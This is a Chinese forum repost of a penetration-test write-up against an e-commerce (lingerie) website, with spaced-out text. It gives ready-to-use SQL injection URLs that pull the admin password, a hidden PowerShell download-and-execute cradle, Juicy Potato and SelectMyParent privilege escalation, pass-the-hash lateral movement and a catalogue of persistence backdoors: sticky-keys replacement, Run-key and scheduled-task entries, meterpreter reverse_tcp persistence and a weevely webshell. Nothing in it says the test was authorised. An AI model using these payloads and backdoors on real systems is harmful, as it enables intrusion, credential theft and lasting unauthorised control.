搜索

[18010] 2021-05-13_【渗透实战系列】记一次内衣网站渗透测试

文档创建者：s7ckTeam
浏览次数：106
最后更新：2025-01-18
2021-05-13_【渗透实战系列】记一次内衣网站渗透测试 【 渗 透 实 战 系 列 】 记 一 次 内 衣 网 站 渗 透 测 试 一 寸 一 叶   H a c k i n g 黑 白 红   2 0 2 1 - 0 5 - 1 3 0 x 0 1   S Q L 注 入 注 入 这 站 真 大 ， 不 对 ， 这 站 真 圆 . p h p 的 站 随 便 随 便 一 测 一 枚 注 入
因 为 只 能 读 取 3 2 位 所 以 使 用 s u b s t r i n g 分 开 读 取   h t t p s : / / a a a a . c o m / 1 . p h p ? i d = 2 1 0 % 2 0 a n d % 2 0 e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t p a s s w o r d   f r o m   a d m i n   l i m i t   1 , 1 ) , 0 x 7 e ) ) % 2 0 #   h t t p s : / / a a a a . c o m / 1 . p h p ? i d = 2 1 0 % 2 0 a n d % 2 0 e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , s u b s t r i n g ( ( s e l e c t   p a s s w o r d   f r o m   a d m i n   l i m i t   1 , 1 ) , 3 0 , 3 5 ) , 0 x 7 e ) ) % 2 0 # 舒 服 了 ， 这 下 可 以 给 光 明 正 大 的 进 去 选 内 衣 了 0 x 0 2   拿 拿 s h e l l 看 看 r o b o t s . t x t i n u r l : a . c o m   a d m i n 进 入 后 台 发 现 是 E C S H O P   这 里 原 本 是 f i l e 改 为 i m a g e 绕 过 似 乎 不 行 被 重 置 了 这 里 发 现 可 以 执 行 s q l 语 句 而 且 存 在 绝 对 路 径 泄 露
o k 下 面 就 好 说 了 ， 写 入 一 句 话 0 x 0 3   提 权 提 权 权 限 有 点 小 低 存 在 m y s q l 也 没 其 他 可 以 利 用 的 尝 试 m y s q l 提 权
除 了 目 录 不 能 上 传 其 他 条 件 都 满 足 所 以 当 我 没 说 ， 上 c s , p o w e r s h e l l 上 线 提 权 这 里 使 用 J u i c y   P o t a t o   具 体 可 以 参 考 三 好 学 生 文 章   选 择 想 要 的 任 何 C L S I D , 链 接 然 后 我 们 在 以 s y s t e m 权 限 执 行 p o w e r s h e l l
这 里 面 的 双 引 号 记 得 转 义 0 x 0 4   横 向 渗 透 横 向 渗 透 为 工 作 组 环 境 ， 扫 出 来 0 . 9 也 是 一 台 w e b 这 里 h a s h 传 递 直 接 拿 下 ， 继 续 抓 h a s h ， 目 前 以 有 如 下 账 户   w i s e a d m i n   s h o p a c c o u n t   m y s q l w i s e a d m i n   f i l e t r a n s f e r   d e m o a d m i n   W D A G U t i l i t y A c c o u n t 平 平 无 奇 h a s h 传 递 - - 一 个 应 该 是 w e b 的 的 一 个 d e m o ， 然 后 0 . 7 可 能 是 数 据 库 服 务 器 都 是 a d m i n 权 限 了 如 果 想 要 获 取 s y s t e m 的 话 可 以 使 用 S e l e c t M y P a r e n t ， 其 实 也 就 是 j 把 新 进 程 当 中 s y s t e m 进 程 的 子 进 程 ， 这 里 就 用 c s 的 马 ， 先 查 看 w i n l o g o n . e x e 的 p i d 可 以 看 到 这 里 为 5 0 0 然 后 把 我 们 的 s y s t e n . e x e 上 传 ， 执 行 s h e l l   S e l e c t M y P a r e n t . e x e   s y s t e n . e x e   5 0 0 s h e l l   s t y l e . e x e   - p   " p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' p o w e r s h e l l 地 址 ' ) ) " "
这 步 操 作 其 实 就 是 凑 点 字 数   ， 哈 哈 哈 哈 0 x 0 5   权 限 维 持 权 限 维 持   这 里 就 拿 本 机 测 试 了 粘 滞 键 后 门   在 w i n d o w s 上 连 续 按 5 次 “ S h i f t ” ， 就 可 以 调 出 粘 滞 键 粘 滞 键 指 的 是 电 脑 使 用 中 的 一 种 快 捷 键 ， 专 为 同 时 按 下 两 个 或 多 个 键 有 困 难 的 人 而 设 计 的 。 粘 滞 键 的 主 要 功 能 是 方 便 S h i f t 等 键 的 组 合 使 用 。 粘 滞 键 可 以 先 按 一 个 键 位 （ 如 s h i f t ） ， 再 按 另 一 键 位 ， 而 不 是 同 时 按 下 两 个 键 位 ， 方 便 某 些 因 身 体 原 因 而 无 法 同 时 按 下 多 键 的 人 。 一 般 的 电 脑 连 按 五 次 s h i f t 会 出 现 粘 滞 键 提 示 使 用 如 下 命 令 c d   w i n d o w s s y s t e m 3 2 m o v e   s e t h c . e x e   s e t h c . e x e . b a k c o p y   c m d . e x e   s e t h c . e x e
如 果 目 标 机 是   w i n v i s t a   以 上 的 ， 即   w i n v i s t a   以 后 出 的 系 统 ， 修 改   s e t h c   会 提 示 需 要   t r u s t e d i n s t a l l e r   权 限 ， 所 以 想 要 继 续 ， 那 就 需 要 修 改 所 有 者 为 A d m i n i s t r a t o r ， 并 修 改 其 权 限 ： 然 后 修 改 为 完 全 控 制
现 在 我 们 连 续 按 下 5 次 s h i f t 就 弹 出 一 个 s y s t e m 权 限 的 c m d
注 册 表 注 入 后 门   在 普 通 用 户 权 限 下 ， 攻 击 者 将 会 需 要 执 行 的 后 门 程 序 或 者 脚 本 路 径 写 到 注 册 表 H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n   键 值 可 以 任 意 设 置 ， 或 者 直 接 执 行 如 下 命 令 添 加 启 动 项   R E G A D D   " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n "   / v   t e s t   / t   R E G _ S Z   / d   " C : s h e l l . e x e "   当 管 理 员 重 新 登 录 系 统 时 ， 就 会 执 行 后 门 程 序 计 划 任 务 后 门   以 上 的 命 令 会 在 每 小 时 执 行 一 次 s h e l l . e x e ， 在 w i n 7 及 以 下 的 系 统 使 用 a t 命 令 代 替 s c h t a s k s m e t e r p r e t e r 后 门   命 令 : s c h t a s k s   / C r e a t e   / t n   U p d a t e r   / t r   c : s h e l l . e x e   / s c   h o u r l y   / m o   1 m e t e r p r e t e r   >   r u n   p e r s i s t e n c e   - U   - i   5   - p   1 2 3 4   - r   1 9 2 . 1 6 8 . 2 2 0 . 1 2 8   - A   自 动 启 动 一 个 匹 配 的 e x p l o i t   /   m u l t i   /   h a n d l e r 来 连 接 到 代 理   - L   如 果 未 使 用 ％ T E M P ％ ， 则 在 目 标 主 机 中 写 入 有 效 负 载 的 位 置 。 - P   有 效 负 载 使 用 ， 默 认 为 w i n d o w s   /   m e t e r p r e t e r   /   r e v e r s e _ t c p 。 - S   作 为 服 务 自 动 启 动 该 木 马 （ 具 有 S Y S T E M 权 限 ）   - T   要 使 用 的 备 用 可 执 行 模 板   - U   用 户 登 录 时 自 动 启 动 该 木 马   - X   系 统 引 导 时 自 动 启 动 该 木 马   - h   这 个 帮 助 菜 单   - i   每 次 连 接 尝 试 之 间 的 时 间 间 隔 （ 秒 ）   - p   运 行 M e t a s p l o i t 的 系 统 正 在 侦 听 的 端 口   - r   运 行 M e t a s p l o i t 监 听 连 接 的 系 统 的 I P
缺 点 是 容 易 被 杀 毒 软 件 查 杀 ， 然 后 它 就 在 目 标 机 新 建 一 个 v b s 文 件 ， 然 后 每 次 自 动 启 动 他 w e b 后 门 的 话 可 以 使 用 w e e v e l y   这 里 生 成 一 个 s h e l l . p h p 来 测 试 将 文 件 放 入 服 务 器 目 录 下 ， 然 后 执 行   s h e l l   可 以 h e l p 查 看 帮 助   w e e v e l y   h t t p : / / 1 9 2 . 1 6 8 . 2 2 0 . 1 / s h e l l . p h p a u d i t . e t c p a s s w d   |   枚 举 / e t c / p a s s w d   a u d i t . u s e r f i l e s   |   列 举 用 户 / h o m e 下 具 有 权 限 的 文 件   a u d i t . m a p w e b f i l e s   |   枚 举 任 意 W e b 站 点 的 U R L 链 接   s h e l l . p h p   |   编 写 p h p 文 件   s h e l l . s h   |   编 写 系 统 脚 本   s y s t e m . i n f o   |   收 集 系 统 信 息   f i n d . s u i d s g i d   |   查 找 S U I D   /   S G I D 文 件 和 目 录   f i n d . p e r m s   |   查 找 权 限 可 读 / 写 / 可 执 行 文 件 和 目 录   b a c k d o o r . t c p   |   T C P 端 口 后 门   b a c k d o o r . r e v e r s e t c p   |   反 弹 T C P 连 接   b r u t e f o r c e . s q l   |   爆 破 指 定 数 据 库 用 户 名 密 码   b r u t e f o r c e . s q l u s e r s   |   爆 破 所 有 数 据 库 用 户 密 码   f i l e . u p l o a d   |   上 传 本 地 文 件   f i l e . u p l o a d 2 w e b   |   上 传 二 进 制 /   A S C I I 文 件 至 目 标 站 点 文 件 夹 并 枚 举 U R L   f i l e . e n u m   |   在 本 地 词 表 的 书 面 枚 举 远 程 文 件   f i l e . r e a d   |   读 文 件  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理